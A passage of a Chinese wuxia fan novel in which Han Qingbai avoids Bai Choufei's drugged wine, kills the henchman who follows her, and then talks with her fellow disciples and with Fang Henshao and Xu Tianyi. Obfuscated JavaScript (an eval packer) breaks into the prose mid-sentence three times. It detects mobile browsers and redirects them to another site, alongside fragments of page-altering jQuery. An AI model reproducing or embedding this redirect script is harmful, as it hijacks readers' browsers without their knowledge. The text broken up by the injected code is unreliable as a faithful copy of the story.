“我吃好了,温姐姐要是还要跟白公子聊天的话,就不用管我了,我打算回去了。” “这就要走了吗,那大白菜,我们先走了,轻白妹妹,我送你回去。太晚了京城不安全的。”温柔也起身。 “还没喝酒,这就要走了吗?”白愁飞有些讶异。 “我家里养猫了,我要回去喂猫,太晚了饿到咪咪就不好了。” “那我送送你们。” 出了三合楼,温柔忽得对白愁飞说:“还好你没有劝酒,不然本姑娘一定叫你尝尝厉害。” “话怎么这么说?” “你看你,还抵赖,我可是温家的姑娘,鼻子灵的很,那酒里是胭脂泪吧。人家好心带朋友陪你聊天,你怎么准备那样的酒?” “那哪里是你们陪我聊天,分明是我陪两位姑娘吃饭。”白愁飞听温柔一口道破那酒里下的药的名字,心中一紧,不过看着妮子的表情似乎并没有意思到什么危险,语气一上扬,眼神一瞥,叫白愁飞心头一颤,刚想好要狡辩的话到了嘴边一时竟也忘了。 而另一位有跟雪一样名字的姑娘似乎没有留意他们的对话,手里抱着她的刀,似乎有些神游。 他笑道:“是我的不是,下次一定请两位姑娘喝好酒赔罪。” 白愁飞准备胭脂泪,跟他一贯要手下准备胭脂泪时想法是一样的,可得知苏梦枕失踪了,那件事也办成了,他的心情舒缓了几分。早些年白愁飞与王小石患难之交,二人一起成了苏梦枕的兄弟,当上了金风细雨楼的副楼主,白楼的资料随便他看,白愁飞对王小石的家世背景自然一清二楚。 他知道他的师承,也知道他仅剩的亲人有谁,在何处,所以他差人去将王小石的父亲和姐姐抓了回来。他相信有王小石的父姐在手中,王小石不敢轻举妄动。 温柔那么美,她一直那么美,可她又对他很好,让他的语气变得有一点点轻柔。 18.回火星吧 她新认识的朋友比较害羞,所以一直也不怎么说话,不过今天一天还是过得很愉快的。温柔想。 白愁飞听汇报的时候并没有刻意回避她们,她也听到了苏梦枕失踪的消息,只是江湖上闯荡,又怎么可能不遇到危险,她听过了,便是听过了,如一阵清风。 而且有大白菜和小石头在,他们兄弟三人齐心协力、其利断金,有什么事做不成的。何况大师兄在她心中一直是那个令江湖豪杰敬仰不已的帮派龙头苏公子,要说他会遇到什么致命危险,温柔的脑袋里还从未有过这样的想法。 寒轻白不太一样,她一听苏梦枕失踪,王小石掌权的消息,就知道应该是由六分半堂主导、白愁飞提供情报、针对苏梦枕的那场刺杀结束了。 金风细雨楼的内务不是她一介外人应该听的,所以她一听到这个消息,她就想走。好在白愁飞也好,温柔也好,都没有阻拦她的意思。 只是送到门口临别之际,白愁飞和温柔的对话又让她吃了一惊,怀疑是不是自己在庐山上待的时间太久了,已经与世隔绝,跟不上城里人的想法。 胭脂泪是什么东西,她就算没见过也听说过这种迷药的名声,白愁飞把这种药放在酒里,他就算没什么打算也肯定有什么想法。可温柔轻轻巧巧揭开这层面纱,跟白愁飞聊两句便撂下不再谈,被白愁飞哄得开开心心的。这让寒轻白有些怀疑自己的听觉。 地球太可怕了,她想回火星。 跟白愁飞告别完,她和温柔一道走了几步,温柔问寒轻白住在哪里,打算送她回去,寒轻白拒绝了她,说在城郊,离风雨楼太远了,怕温柔走太多冤枉路。温柔想一想也是,二人便在繁华街口分开。 她拐过一条街,人影逐渐变少,没有那么拥挤,又穿过一个僻静的巷口,人变得更少了,在拐过一个弯后走了一段距离,她又突然转身,跟欧阳意意对上了视线。 寒轻白记得他的脸,是跟白愁飞吃饭的时候进来汇报的手下,也是他端着酒菜进来的。 “寒姑娘。” 欧阳意意被她这一转身惊了个猝不及防,不过面上还稳得住,朝她颔首。 “你跟着我,有什么事吗。” 月白色衣裳的姑娘表情冷淡,不过欧阳意意觉得她有些紧张,因为她原本垂手拿着刀,现在将手臂抬了起来,让刀鞘更贴近了她自己。 他有些激动,在这没什么人的地点更是似乎能听见自己的心跳声。 他不觉得这年轻的、漂亮的、带有几分稚气的姑娘能有多高深的武功、多厉害的刀术。她的水平可能比温柔要高,能够察觉到一直候在门口的自己,但是要说比得上他欧阳意意,他并不这样认为。 他给白愁飞做事,准备胭脂泪,准备特制的菜,他自然知道白愁飞拿这些东西做什么。见得多了,欧阳意意也会忍不住想,为什么白愁飞能这么做,他就不行? 如果说之前没有敢如此行事是因为楼规森严,要是被发现的话得不偿失,现在白愁飞已经快要跟金风细雨楼撕破脸,带着他们投奔太师,只要能成事,太师那边可没有这些繁琐无趣的规定。 今天白愁飞又见了两个姑娘,虽是偶遇,不过后来叫他准备了特制的酒菜,只是没有成,也没有强求,让她们清醒地离开了。 温柔身份贵重,动了她无异于得罪洛阳王温晚,招惹老字号温家,据说温晚还将自己麾下的大将天衣有缝许天衣派来京城,天衣有缝心慕温柔已久,欧阳意意不打算自讨没趣,那样得不偿失。 但是跟着温柔一起来的这个姑娘也很漂亮,是另一种更清丽的美,而且寒这个姓氏在京城并没有出现在什么大人物身上。如果说她姓苏、姓雷的话,欧阳意意或许要犹豫、考虑几分,看为了一时之欲究竟值不值当,但她与这些姓氏都没有关系,那就没有什么再需要说的了。 “我们楼主想要请你一叙。” “我这不是刚走?何况,白愁飞算什么楼主,他顶多算个副的。金风细雨楼还是苏公子的。” 她这话一出,足以证明她并非与温柔一样,对金风细雨楼情况一无所知,只觉你好我好大家好的千金大小姐。 “那就得罪了。”欧阳意意说。 欧阳意意外号无尾飞砣,是金风细雨楼白愁飞麾下吉祥如意中的一员,深得白愁飞重用,比毛拉拉的武功又高出不止一筹。 可高出一筹不代表能高出五个、六个乃至十个筹码。他忠心耿耿跟随白愁飞办事,是因为白愁飞能给他好处,可蔡京傅宗书也能给手下人好处,欧阳意意为什么不去护卫太师相爷,替他们跑腿办事?自然是因为他还不够格。 不够格的欧阳意意拿着飞砣,自然也是不够格的飞砣。飞砣的锋险而利,再加上它沉甸甸的重量,被欧阳意意挥去时携裹着沉重的危险,马上要将寒轻白碎个五六块,若是再重些,压成肉泥也非幻想。 但假设之所以称为假设,正是因为它现在没有实现,将来也不会有实现的机会。在欧阳意意出招之后,寒轻白也将她的刀从刀鞘里拔出。 她落后了一步,却不代表招招都要落后,这世上有急险快诡的快剑,自然就有慢而阴郁的慢剑,有先发制人的招数,自然也有后发制人的应对。欧阳意意飞出的飞砣份量不轻,在重力加速度的作用下,它只快不慢,然而当飞砣到了预订地点时,持刀的姑娘早已闪到了一侧。 她的刀从飞砣旁边向上勾勒出一道弧线,又细又弯的一条线,像一条可以缝衣服的线一样可以随意弯曲折叠。但刀就是刀,刀意再柔和,再婉约,也依旧是可以夺人性命砍人头颅的凶器。何况寒轻白手上的刀也没有那么柔顺温婉,它只是轻灵又飘逸,轻柔得像折花后落下来的花瓣,在轻灵之后的则是毫不掩饰的杀意。 刀锋从欧阳意意的脖颈穿过,她反手握刀,以一种奇诡的角度避开欧阳意意的防守,自下而上斜斜地砍断了他的大半个脖子,血也斜斜地溅出来,飞砣慢半拍才落了地,就像飞砣的主人后知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098518|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后觉才反应过来他已经死了一样。 月白色的衣裳上沾了血,寒轻白收刀入鞘,随意拍了拍,没拍掉,血渍浸入了衣裳。 “小寒?” 一个声音诧异地唤她。 她偏头看去,巷子口站着一个佩剑的人。 是吴奋斗。 “吴师兄。” “真是你啊,我还以为是我看错了。你这一身真不错,确实是人靠衣装马靠鞍,如果不是瞧着刀熟悉,我差点都认不出来了。” 一确认是熟悉的人,吴奋斗的话一下子就变多了。 吴奋斗虽说因为寒轻白是师父拿来激励他的别人家的孩子而不怎么高兴,但他也不会做更多的事情,最多就偷个发带,然后找机会跟寒轻白比试一番。早年寒轻白还不算太厉害的时候,他在打赢寒轻白之后会露出洋洋得意的姿态,虽然很快就会被温火滚痛殴一顿,但他对于打赢寒轻白这事乐此不疲,直到她的刀法超过他才停止这种讨打的行为。 他的视线扫过地上的尸体,随后又将注意力放在寒轻白身上,啧啧称奇。 “你别说,你这么一打扮是真好看,就是可惜有这瞎了眼不识抬举的,叫血把这身衣裳给弄脏了,怪可惜的。回头让火滚再给你整点别的颜色款式,换着穿,一天一套,都整那些漂亮的。反正他现在也不缺钱。” 他招招手,示意寒轻白赶紧从巷子里出来。 “尸体不用管,这里又不是什么荒山野岭,就算想找地儿埋都不知道埋哪去,还不如就在这放着,等着到时候让刑部的人去收,我们还省事……知不知道是谁啊?” “好像是风雨楼的人,白愁飞的手下。” 吴奋斗哦了一声,“死了就死了,尽管让他查去,在太师面前我们也不理亏。” “听你的意思,白愁飞如今处境不怎么样?” 吴奋斗嘿嘿一笑,说道:“这你就问对人了,问罗老幺不如问我,这些天太师不是叫我们听雷纯指使吗,不过就我们六个,罗老幺还是在太师府贴身护卫,刺杀苏梦枕的时候都不来,要问他肯定两眼一抹黑,说不出来个两三句的。你是不知道,小寒,这几天我听着,白愁飞不仅在风雨楼现在没什么权力,处处受限,而且跟雷纯两个人关系也不怎么样。他瞧不起雷纯一介女流领导六分半堂,雷纯也时不时刺他两句,不过六分半堂的人好像也不都服气雷纯,我看大多数还是听狄飞惊的。” “你也不喜欢白愁飞啊。” “那肯定,谁会喜欢那家伙。不过我一般,没火滚那么讨厌他。要是他有本事,太师后面肯定还会用他,扶持他,要是没本事,以后就被其他人踩下去了,我何必关心那么多。”吴奋斗摆摆手。 “我听说今天袭击苏公子,结果苏公子失踪了?” “是啊,你消息还挺灵通,不仅有我们六个,还有六分半堂的人一起,但也没成功。不过看雷纯还是胸有成竹不紧不慌的样子,想来她应该有办法跟太师交代。” 19.托福雅思 吴奋斗有问必答,回答得爽快无比。他一向是一个话不怎么少的人,只是在做事的时候从不出声,跟他的其他同门们一起保持沉默。不过现在又没有事情要他做,跟他说话的人也是寒轻白,吴奋斗便也自觉没什么要隐瞒的。 寒轻白想了想,说道:“苏公子失踪,风雨楼就由王小石来掌管,不过王小石对风雨楼的掌控力肯定不比苏公子。你又说六分半堂里大家主要听狄飞惊而不是雷纯的,半斤对八两,两边现在都差不多。” “是吧,我也这么想,就看接下来太师怎么安排了,是觉得京中势力都由雷纯来统筹比较好,还是拉拢王小石,保持一楼一堂的局面比较好。” “听上去白愁飞被你排除在外了。” “他要能夺得风雨楼的掌控权,我就把他再算进来。要是拿不回来,估计没人会在意他。反正我们听令行事,他要是能得到太师的看重,那也是他的本事。” “这么说来,你们这段时间都在六分半堂,然后小师兄在太师府?” “那倒没有,我们听太师发话,太师让我们听雷纯的,我们就听雷纯的话行事,他让我们找白愁飞,我们就去找白愁飞。这次刺杀行动虽然是六分半堂主导,白愁飞在风雨楼也没什么权力了,但白愁飞也没彻底失势,现在苏梦枕失踪了,王小石优柔寡断,大家都等着看他还有什么反击的手段。” “对了,说到罗老幺,他有没有跟你说太师赏了他一个大宅子?” “提过,怎么了?” “等建好了你去看看,回来跟我说说里面有什么呗,我实在好奇。听说会有不少花鸟奇石昂贵摆件,但你想,罗老幺肯定不会乐意我去逛一圈。我就只能找你了。” “可你都见不到东西,我跟你讲有什么用。那不等于我凭空在那里白说,我要是自己瞎编乱造你也听不出来。” “我可以想象。而且就算你瞎编乱造随口胡诌出来的东西,能把我糊弄过去也是你有本事。”吴奋斗坚持。 “随你,不过要等我问一下小师兄,他同意的话我就跟你讲。” 吴奋斗笑嘻嘻地说:“没问题,你说的话罗老幺肯定同意。” 听到吴奋斗的话,她翻了个白眼。 “你怎么一个人,没跟余师兄他们一起吃酒?” “你问我,我还想问你怎么一个人在这,忆旧去找他相好了,厌倦回去练剑了,我本来是想去吃酒的,这不是遇上你了吗。发生什么了,咋瞧着你不高兴,是那瞎眼不识相的说了什么不好听的话?你要是不解气,明天跟我们一起去见白愁飞,把那姓白的揍一顿如何?” “这说的是什么鬼话,我又不是会迁怒的人。不过有些不理解,感觉京城里的人奇奇怪怪的。” 吴奋斗不以为意,他道:“你管他们想啥,嘴长在他们身上,没碍咱们什么事就行。京城里一个个都是权贵高官,一块砖掉下来就能砸他个跟皇亲国戚沾亲带故的人,要是所有人所有事都考虑、都想通,累死你也想不完。” “我们听舅舅的吩咐来京,除了遂他们的意结交权贵,对付诸葛小花,不就是为了荣华富贵吗?太师给我们脸面,给我们赏赐,我们替太师做事不就得了。武功练到位,又有了太师的重视,那些个正眼斜眼歪眼瞧的坏心眼甭管心里再怎么骂我们荒蛮野夫,面上不还是要恭恭敬敬的。” “我不是在想这个,不过算了,你说得也对。” 在一干师兄里,吴奋斗一向心宽,说好听点就是豁达大度,善于开解自己,说难听点就是目光短浅,贪图安逸享乐,不然他也不会不乐意于下苦功练基础,反而更注重剑法的意境,每每黄岩山比剑排名都倒数第一了。 “我说得本来就没错。” 难得寒轻白没有反驳他,吴奋斗很是得意。不过得意完,他也没忘记关心一下寒轻白究竟在纠结什么。 “既然不是这个,那是什么让你不高兴了?” “我偶遇了温柔,她说带我一起玩。” “温柔?哦,我知道她,温家温晚的千金是不是,听说很靓一大小姐,她带你一起玩,那很好啊,她也会武功,外号小寒山燕,你们也能聊到一起去。” “是的,我也是这样想的,不过我们路上偶遇了白愁飞,白愁飞跟温柔很熟,然后他说要请我们吃饭。” “听上去没什么问题,他们两个人确实很熟悉,白愁飞是风雨楼的副楼主,温柔是苏梦枕的师妹,也一直住在风雨楼,跟风雨楼的人玩。” “但是吃饭吃到一半,白愁飞的手下,就是你刚见到地上躺着的那个死人,他上了一些特制的酒菜,我没碰,温柔也没碰。” “幸好你没碰。”吴奋斗的脸色变得沉重,他点点头,赞同道。 “不错,但是我不好跟白愁飞翻脸,所以只说要走,他也没拦我,到楼下时,温柔对他说她闻出来了酒菜里有迷药,然后跟白愁飞面带笑容聊了几句。” “等一下,她闻出来了这点我能理解,毕竟温家老字号就是玩毒起家的,但是她既然已经发现了,为什么没跟白愁飞翻脸啊?” “是啊,所以我说城里人奇奇怪怪的。” “所以刚才是你跟温柔分开,然后那坏心眼的一直跟着你,你将计就计把他引到偏僻处去杀了。” “不错。”寒轻白点头。 “要不要我把事情告诉厌倦他们啊。那人被你杀掉,死得也太轻易了些。而且你刚跟白愁飞温柔分开,转眼他就跟来,没有白愁飞授意鬼才信。” 寒轻白想了想,摇摇头,说:“跟余师兄说就算了,他说不定会告诉师兄。上回师兄才叮嘱我要离白愁飞远点,然后白愁飞自己就撞了上来,真不是我有意碰上的。我是不怕他找上门来算账,来一个杀一个,但是听师兄唠叨很麻烦,他会说很久的,还会旧事重提。” “那也是没办法的事,火滚还拿你当小孩子看嘛。要不这样吧,我帮你留意着白愁飞的事情,无论他失势跌落,还是他又快要得到重用,我都跟你讲一声,你看如何?” “听上去挺好的,但你会这么好心?” “嗨,这不是有求于人吗,等着你编故事给我听。” “行,那就这么说定了。到时候就算编也给你编一个你听不出来有问题的故事,绝对有诚意。” “一言为定。”吴奋斗笑嘻嘻地说。 吴奋斗送寒轻白回了家,过了几日,寒轻白去薛家铺子取回了自己的劲装。月白色的长衣裳虽然漂亮又雅致,但在出刀的时候这长长的、宽松的裙摆可都是累赘,那晚上杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109895|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的时候寒轻白差点一脚踩上裙子把自己绊倒,还是收束的劲装要更方便一些。 她取完衣裳之后便去了瓦子巷孙三四处。如果说替别人隐瞒错处是一种品德,那寒轻白一定是一个缺德的人。她跟吴奋斗讲了一遍,也没忘记跟孙三四也聊一遍。 “无欺先生人很好,没想到白愁飞人那么坏。” 孙三四听后,笑吟吟地说道:“那当然了,不然咱们这一片的姑娘怎么就认无欺先生,旁的风雨楼的人来,我们都不带信的,只有无欺先生亲自来问一些事情我们才肯说。要是谁来时自称是无欺先生的人,一问,我们就说,那还有谁愿意跟我们聊天做生意,你说是不是这个理。” “不错,谁也不能保证那些人是不是可靠的人,大家愿意帮无欺先生,是因为无欺先生人好,也帮了大家许多。” 寒轻白连连点头。 “对,所以无欺先生找我们,我们也乐意帮忙。” “苏公子失踪了,这事你可晓得?” “那日吃饭时,白愁飞的手下就汇报给他了,我顺便听说了。无欺先生央你帮忙打听苏公子的消息吗?” “差不多,苏公子没了消息,他着急得不得了,不过他没有特意来找我们姐妹。因为他清楚,烟花女子的情不好欠,但好些姑娘们都自发帮忙打听消息。” “你也是其中之一?” “我也是其中之一。”孙三四朝她笑道。 “那你要我帮你也留意着苏公子的消息吗?” 寒轻白单手撑着脸,歪头问她。 “我才不开那口,费那劲,有眼睛的都能看出来你先前有多仰慕苏公子的红袖刀,若是你想帮忙,自己就去帮忙了,才不需要我来张口说。” “你不提这件事,自然是有你的为难之处。上回我们两个人在时闯我小楼窗户的那人,你是不是认识?若不认识,也不会你一句话就把人给吓跑了。” 寒轻白对这事有印象,便开口道:“那是我一个师兄。” “怪不得,他先前来了好几回,也不像轻而易举就放弃的人,你在那段时日我还奇怪怎么就没了消息,原来是看在你的面子上让我有了段清净日子。”孙三四捂嘴轻笑。 “你不太喜欢他呀?” “我也不怕说这话叫你不高兴,他那人啊,我确实不太喜欢,看不上他。他有你这么好的师妹,我才感觉奇怪,恐怕是积了不知道几辈子的福气才轮得到当你师兄。” “孙姐姐这么损他,又夸我,我都不知道该说什么好。” 寒轻白想了想,又道:“其实他以前选话本子的品味还挺不错的。” 孙三四忍俊不禁。 “我还以为你能把你师兄夸出什么花来,没想到就出来了这么一句,下次他若来了,我要好好问问他,看他有什么可夸你的。” “这是不是不太合适?” “这有什么不合适的,我本就不太爱理他,若是他能进我这小楼,应该感谢你才是,这还是托了你的福。” 寒轻白正色道:“也可以跟他说是雅了我的思。” “这是什么意思?” “没什么意思,就是托福雅思。” “听不太懂,不过下回他来了我一定这么跟他讲。” 20.波澜又起 梁伤心的回答还没从孙三四这边听到,吴奋斗就找上了寒轻白。 “这么快就有消息了?”吴奋斗找来家里时,温火滚不在,寒轻白正在玩猫。她手里还握着咪咪的两只爪。咪咪像一条牛顿流体,好像要从寒轻白手中流走,但又被她握住了前爪,无法挣脱。 吴奋斗没回答,他的视线看向寒轻白手里的猫。 吴奋斗伸手。 寒轻白会意。 她把咪咪送到吴奋斗面前,他抱起咪咪,咪咪的白爪子在他的手臂上踩,留下几缕猫毛,锋利的爪子勾出不少丝来,这件衣服回去就得报废。吴奋斗不以为意,他很高兴地顺毛摸着咪咪。 “那可不,那姓白的釜底抽薪一绝,他把王小石的父亲和姐姐都抓来京城了,就放在龙八的洞窟里关着,这下王小石就是原本不听他的也得受制于他了。” 吴奋斗说完,又左右小心看了一圈,又道:“我跟你讲这话,你可别跟火滚说是我说的,我特意挑他不在的时间来的。” 寒轻白回得毫不客气,她道:“这不是废话,不然我为什么放你进来,还把咪咪给你玩。话又说回来,龙八的洞窟是什么地方?” “到外面可记得要叫龙八太爷。”吴奋斗先是很没诚意地叮嘱一句,随后又继续说回先前的话题。 “龙八府里头的深记洞窟那可不得了,里头关押了不少要犯,他手下的黄昏负责把守监督,黄昏这人不提便罢,龙八的府邸也不是那么好进的。龙八位高权重,王小石不过江湖武人,怎么可能进得了他的地盘。” “这么一来,白愁飞可就又得意起来了。” “谁说不是,苏梦枕失踪,王小石受他威胁又不敢明说,他白愁飞原先也是风雨楼的副楼主,现如今再说些什么王小石优柔寡断不堪大用的话,重新入主风雨楼不是手到擒来的事……咪咪,来,不跑,让我抱抱。” “有没有咪咪喜欢吃的东西,小寒,给我拿点,我喂喂它。厌倦那么讨咪咪喜欢,是不是因为他总用咪咪喜欢的东西诱惑它啊。” “那你想多了,这些咪咪喜欢吃的都是余师兄带来一口一口试出来的,而且就算手里不拿吃的,咪咪也很喜欢余师兄。” “为什么啊,难道是因为他们都是一身黑?” “怎么可能,咪咪还喜欢何师兄,何师兄也没有穿一身黑,而且跟何师兄相比,小师兄还更黑点。” “也是,黑不黑好像也不影响罗老幺不受咪咪喜欢。你还有什么想知道的,告诉我,我帮你打听。” “你会这么好心?” “瞧你说的,我再怎么说也是你师兄,要是不帮你打听点消息,我拿什么理由再来找咪咪玩啊。特意来找你的话总不能手头上什么都不带吧,那多没诚意,没到门口火滚估计就把我拦下来。何况菩提那孙子也不仗义,如果不是一定要来,他半步都不带挪的。” “看出来了,你是真喜欢咪咪,我看连想知道小师兄的宅子长什么样也是借口吧。” 吴奋斗立即否认道:“那不是,我是真心的,真想知道那宅子有多华贵,也是真喜欢咪咪,这两个不用非选一个不可。” “这么喜欢,那你为什么自己不养一只?” 听罢,吴奋斗连连摇头,脸上叫咪咪踩了一脚,印了一个梅花爪子。 “不养,绝对不养,火滚衣裳都让咪咪用爪子抓坏不知道多少套了,还有茶具碗筷也换了不少,养只猫多费劲啊,也就火滚养了你还有耐心再养只猫。” “人家是叶公好龙,你是奋斗好猫,只喜欢咪咪的可爱,不喜欢咪咪的活泼。” 寒轻白谴责他,吴奋斗只当耳旁风,左耳朵进右耳朵出,他笑嘻嘻地说道:“你和火滚养一只,我得空来摸摸咪咪就行了,我才不费那功夫。” 【吴师兄喜欢猫,不过他性格疏懒,不爱费事,所以也做不动那些养猫需要做的繁琐工作。你和师兄一开始养咪咪时就说好了,不把养猫的活计都丢给他一个人做,你也要搭把手。不过照顾猫的事你能帮上忙,被咪咪推下去的杯子,那些衣裳上的猫毛就并非你力所能及的事情了。 好在师兄也没介意过,碎了的杯子茶具被他换了一套新的,衣裳能打理就打理,实在穿不出去就换新的。有一回吃饭时,你一时不察,喝水时吃了一嘴毛,一看就是咪咪探爪子往你喝水的杯子里伸了不止一回,已经是惯犯了,不然哪里来的猫毛。这让师兄笑了好几天,不过没过几日,他自己也着了黑猫警长的道,报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115832|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 废了好几件衣裳。所以后来他出门也不穿白的,大多穿黑色或其他深色系的,总比白色的要不显猫毛一些。但也只是黑色的猫毛能隐藏些,爪子上白色的毛掉了照样在衣裳上很显眼。 这样猫飞狗跳的日子就是你们的日常,如果你想,你可以一直依附在师兄们的羽翼之下,听师兄的话,做一个乖孩子,在京城随意玩乐,虽然做不到温柔那个地步,只要亮出名字身世就能叫人掂量忌惮几分,但你只要不惹上四大名捕,其他人师兄们都能帮你想办法收拾烂摊子。 只是这是你想要的吗? 当然不是。 你若是只想要这样安稳的生活,那何必大老远从庐山下来,待在舅舅身边也是一样可以过安闲自在的日子,还能满山上跑,比在京城里要更自由肆意。 而且话又说回来,你打开游戏,不就是为了让自己开心、快乐的吗? 你当然会做你想做的事情。 所以在遇到一个人带着一个使绣花针、受伤不轻的汉子,还拖着昏迷不醒的温柔时,你毫不犹豫地选择帮忙,带他们去了安全的地方,还给受伤的人找了些药算是吊住他的命,温柔好端端没受什么伤,只是还要睡一阵才会醒来。 活着的那个人自称方恨少,伤重的那人叫许天衣,温柔你已认识自不必再介绍。方恨少你没印象,不过许天衣你倒是知道,他是神针门神针婆婆的儿子,没想到居然在这里遇上了他。】 “所以你是神针门的人?” 方恨少到了安全的地方,接过寒轻白找来的药,好说歹说给许天衣吊住了命,这才松了口气。他没全放下警惕,不过听寒轻白对他自己的名字全然陌生,倒对许天衣好似有所耳闻,这才问了这么一句话。 “不是,只不过先前得神针门的姐妹们邀请,过去玩了一会,也得了神针婆婆指教,受益匪浅。我没见过你们,真正见过的只有温柔,但现在我既然带你们来这,你又是唯一现在还清醒的,不妨跟我说一说究竟出了什么事。” 面前这姑娘二话不说就帮了忙,现在许天衣也不会很快就死了,她想问问究竟发生了什么也无可厚非,方恨少便把自己知道的说了出来。他也没知道多少事,带着许天衣和温柔跑的时候还一头雾水。 21.渲染气氛 这事真要说清楚,那要从方恨少和许天衣的身份讲起。 方恨少上京是为了寻义兄唐宝牛,唐宝牛与王小石温柔等人关系亲近,成了金风细雨楼的人,方恨少自然也不会叫他的兄弟为难,所以他虽是狄飞惊厚待的援助,但也不曾与金风细雨楼敌对,而且也不帮六分半堂去做些什么为非作歹的事情。 许天衣是温晚手下大将,温晚与雷损有旧,雷损死后,温晚遣他来助六分半堂一臂之力,只是温晚之女温柔在金风细雨楼,温柔又是许天衣一心爱慕的人,故而他也不为难金风细雨楼。许天衣一心保护温柔,可温柔不愿时时叫他陪着,许天衣便暗中跟随保护她。方恨少别的不清楚,但有一件事他一定知道,那就是有温柔的地方就有天衣有缝这话一点也不假。 “……温柔不知道是被谁设计,眼看就要遇险,许天衣便出手,只是被人偷袭伤到,好在我和王小石赶去,王小石拦住敌人,叫我们快走,我这才带着他们两个逃离。” 方恨少对事情原委也不甚了解,只说了大概,他两眼一抹黑,连敌人是谁都不知道。 说完了他知道的,方恨少又问了寒轻白名姓,确实没什么印象。他虽然一向话不少,可现如今许天衣重伤未醒,他也没什么兴致大谈特谈。只听到许天衣似乎转醒,方恨少蹭地一下便过去关切他的情况。 许天衣问了现况,与方恨少不同,他倒是对寒轻白有印象,就跟寒轻白对他的名字有印象一样。 “……母亲同我提过,寒姑娘在武学上一点就通,对大折枝手和小桃花手的理解远甚于我,我还想若是有空遇见便讨教一下,没想到见到姑娘的面却是这种场面,叫寒姑娘见笑了。” 寒轻白听他说完,语气平静地说道:“如果我见个人受伤就笑,我怕是早早就已经笑死了。你也不必担心,我刚才看了,温姐姐只是睡着了,别的没什么。我猜你可能不想叫她见到你现在的样子,就没叫醒她。” “那就好,多谢寒姑娘,就让她睡会吧。她若是见到我这个样子,一定会惊着的。”许天衣伤得不轻,虽然没有性命之忧,但仍是说半句换口气才能说完下半句。 “你遇见了什么敌人?” 方恨少也想知道是怎么回事,连连催促了几句,许天衣沉默了一会才开口。 “我知道寒姑娘是看在我母亲的面子上也想帮我一把,只是这事水深得很,不仅是寒姑娘,还有你……” 方恨少一听,即刻打断了他的话。 “你这说的是什么话,还拿我当兄弟吗!我辛辛苦苦把你们两个拉出来,一清醒就想把兄弟我撇出去?门都没有!” 他们两个同为狄飞惊的好友,虽然没有正式加入六分半堂但在六分半堂备受厚待,却又都不愿替六分半堂行些为非作歹为虎作伥之事,二人坦诚相交,关系十分亲近。 “不管水有多深,我现在也已经踩进来了。你若不说清楚,我跟这位方公子只怕被敌人找上门也还是个糊涂鬼,敌人可不会因为觉得我们俩不知情,就放过我们,所以还不如让我们当个明白鬼。” 方恨少觉得寒轻白的话在理,也附和她的话,“我跟你关系有多好,谁都清楚,要说我对你的事情半点不知,这话传出去简直是在丢我方恨少的人,你是我兄弟,舍得我丢这么大面子吗!” 不说方恨少这扯的是什么歪理,许天衣也看明白了,于情于理,他面前这两个人都是非要知道不可。 他轻轻叹了口气,道:“我奉温大人之命进京,除了保护温柔以外,还在探查长空帮一案的真相。” “长空帮血案?”方恨少一怔。 “那是什么案子?”寒轻白问。 想她年纪轻轻,估计涉世未深,方恨少并不觉奇怪,温柔在江湖上不知混了多久了,也对江湖上的好多事情不清不楚。 他便耐心回答道:“长空帮原是天底下有名的大帮派,可惜不知为何,帮派高层一百多人被下毒尽数杀死,长空帮就此一蹶不振,当时震惊了整个江湖。方歌吟方大侠的妻子桑小娥正是长空帮老帮主长空神指桑书云之女,所以受了方大侠恩情的、跟方大侠交好的帮派也都有探查此事。京里的神通侯方小侯爷还是方大侠义子,对此事也颇为关注。” “不错,温大人便命我彻查此事,还长空帮一个真相。于是我一直在调查,并且也在一个一个走访长空帮剩余帮众,希望从他们口中得知一些线索,现在我终于已有了些眉目,也有了怀疑的对象。” “所以嫌疑人打算先下手为强,杀了你了事?” “大概是如此,只是可惜连累了温柔。”许天衣苦笑。 “他一连杀了一百多人,图什么?” “长空帮行事正义,不少江湖子弟都受其恩泽,估计早碍了蔡元长等人的好事,所以定是他们下令命人干的。”方恨少忿忿不平。 “所以要杀你的人是谁?”寒轻白问。 许天衣语气沉重道:“天下第七。” “天下第七?那是谁?好大的口气,难不成他给天下英雄都排了名,排到他自己就是第七个不成?” 方恨少读了很多书,对江湖上的事情也知之甚广,但他可从未听说过有什么人能在天下英雄中排到第七位的,何况大家说也都说天下第一天下第二的,他忽得扯了个天下第七又是个什么名堂。于是他不解,也不屑,这样说着,方恨少偏头去看寒轻白,似乎要得到这姑娘的赞同,毕竟他们刚才一起配合让许天衣说出了事实。 不看倒好,他一看,却一怔。这年轻的、比温柔还多了几分稚气的姑娘并没有同他一样露出完全没听说过的神情。 他奇道:“怎么,寒姑娘,你没听说过长空帮的事情,却知道天下第七?” 